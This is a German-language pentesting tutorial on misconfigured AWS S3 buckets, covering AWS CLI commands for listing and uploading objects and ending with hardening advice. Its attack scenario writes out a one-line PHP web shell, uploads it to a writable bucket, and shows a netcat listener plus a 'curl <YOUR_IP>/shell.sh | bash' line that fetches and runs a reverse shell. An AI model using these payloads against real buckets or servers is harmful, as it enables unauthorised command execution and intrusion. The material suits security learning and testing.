AWS S3 Bucket

Einführung

Amazon S3 (Simple Storage Service) ist ein beliebter Cloud-basierter Speicher-Service, der zur Speicherung von Objekten wie Dateien und Verzeichnissen verwendet wird. S3 Buckets werden häufig für Backup, Media Hosting, Software Delivery und statische Webseiten genutzt. Fehlkonfigurationen wie öffentliche Zugriffsrechte oder fehlende Authentifizierung können jedoch gravierende Sicherheitsprobleme verursachen.

Dieser Beitrag konzentriert sich auf die Sicherheitsanalyse und mögliche Ausnutzung von S3 Buckets.


Was ist ein S3 Bucket?

  • Buckets: Container, die Dateien (Objekte) speichern.

  • Objekte: Dateien, die mit Metadaten und einem eindeutigen Schlüssel versehen sind.

  • Endpoints: URL oder Subdomain, die Zugriff auf einen Bucket erlaubt (z. B. http://bucket-name.s3.amazonaws.com).

  • Berechtigungen: Zugriffskontrolle durch Bucket-ACLs oder IAM-Rollen.


Typische Schwachstellen in S3 Buckets

  1. Öffentlicher Zugriff:

    • Schreib- oder Lesezugriff ohne Authentifizierung.

    • Ermöglicht das Lesen sensibler Daten oder das Hochladen von Schadcode.

  2. Fehlende Verschlüsselung:

    • Daten sind im Transit oder im Ruhezustand nicht verschlüsselt.

  3. Fehlende Authentifizierung:

    • Keine IAM-Policies, die den Zugriff einschränken.

    • Zulassen von anonymen AWS CLI-Operationen.

  4. Fehlkonfiguration von CORS (Cross-Origin Resource Sharing):

    • Erlaubt Zugriff von nicht vertrauenswürdigen Domains.


AWS CLI: Interaktion mit S3 Buckets

Das AWS CLI-Tool ermöglicht die Interaktion mit S3 Buckets über die Kommandozeile. Hier sind grundlegende Befehle und ihre Verwendung:

AWS CLI installieren und konfigurieren

$ sudo apt install awscli
$ aws configure

Bei der Konfiguration können zufällige Werte eingegeben werden, falls keine Authentifizierung erforderlich ist.


S3 Buckets auflisten

$ aws --endpoint=http://<ENDPOINT> s3 ls
  • Zweck: Zeigt eine Liste der Buckets im angegebenen Endpoint.

  • Beispiel-Ausgabe:

    2024-11-20 12:00:00 bucket-name

Objekte in einem Bucket auflisten

$ aws --endpoint=http://<ENDPOINT> s3 ls s3://<BUCKET_NAME>
  • Zweck: Listet Objekte im angegebenen Bucket auf.

  • Beispiel-Ausgabe:

    2024-11-20 12:05:00       120 index.php
    2024-11-20 12:05:00       50  .htaccess

Dateien in einen Bucket hochladen

$ aws --endpoint=http://<ENDPOINT> s3 cp <DATEI> s3://<BUCKET_NAME>
  • Zweck: Kopiert lokale Dateien in den Bucket.

  • Beispiel: Hochladen einer PHP-Shell:

    echo '<?php system($_GET["cmd"]); ?>' > shell.php
    $ aws --endpoint=http://<ENDPOINT> s3 cp shell.php s3://<BUCKET_NAME>

Dateien aus einem Bucket herunterladen

$ aws --endpoint=http://<ENDPOINT> s3 cp s3://<BUCKET_NAME>/<DATEI> <ZIEL_PFAD>
  • Zweck: Kopiert Dateien aus dem Bucket auf das lokale System.


Angriffsszenario: PHP Reverse Shell Upload

  1. Reverse Shell erstellen:

    echo '<?php system($_GET["cmd"]); ?>' > shell.php
  2. Upload in den Bucket:

    $ aws --endpoint=http://<ENDPOINT> s3 cp shell.php s3://<BUCKET_NAME>
  3. Shell ausführen: Besuchen Sie die hochgeladene Datei im Browser und führe Befehle aus

    http://<BUCKET_ENDPOINT>/shell.php?cmd=<command>
  4. oder lade eine Reverseshell hoch

https://www.revshells.com/ ->

  • Listener vorbereiten:

    $ nc -nvlp 1337
  • Bash-Shell herunterladen und ausführen:

    curl http://<YOUR_IP>:8000/shell.sh | bash

Sicherheitsmaßnahmen gegen S3-Exploitation

  1. Öffentlichen Zugriff deaktivieren:

    • Verwenden Sie den S3 Block Public Access:

      aws s3api put-public-access-block \
        --bucket <BUCKET_NAME> \
        --public-access-block-configuration BlockPublicAcls=true,IgnorePublicAcls=true
  2. IAM-Policies überprüfen:

    • Stellen Sie sicher, dass keine anonymen Nutzer Zugriff haben.

  3. Datenverschlüsselung aktivieren:

    • Aktivieren Sie serverseitige Verschlüsselung:

      aws s3api put-bucket-encryption \
        --bucket <BUCKET_NAME> \
        --server-side-encryption-configuration '{"Rules":[{"ApplyServerSideEncryptionByDefault":{"SSEAlgorithm":"AES256"}}]}'
  4. CORS-Fehlkonfiguration vermeiden:

    • Verwenden Sie restriktive CORS-Regeln:

      {
        "CORSRules": [
          {
            "AllowedOrigins": ["https://vertrauenswürdige-domain.com"],
            "AllowedMethods": ["GET", "POST"]
          }
        ]
      }

Zusammenfassung

Amazon S3 ist ein leistungsstarkes Werkzeug, das jedoch bei Fehlkonfigurationen erhebliche Sicherheitsrisiken birgt. Durch die Überprüfung der Zugriffsrechte, Verschlüsselung und CORS-Einstellungen kann die Sicherheit verbessert werden. Die Nutzung von AWS CLI ermöglicht eine präzise Analyse und Interaktion, die sowohl für legitime Zwecke als auch für Penetrationstests hilfreich ist.

Last updated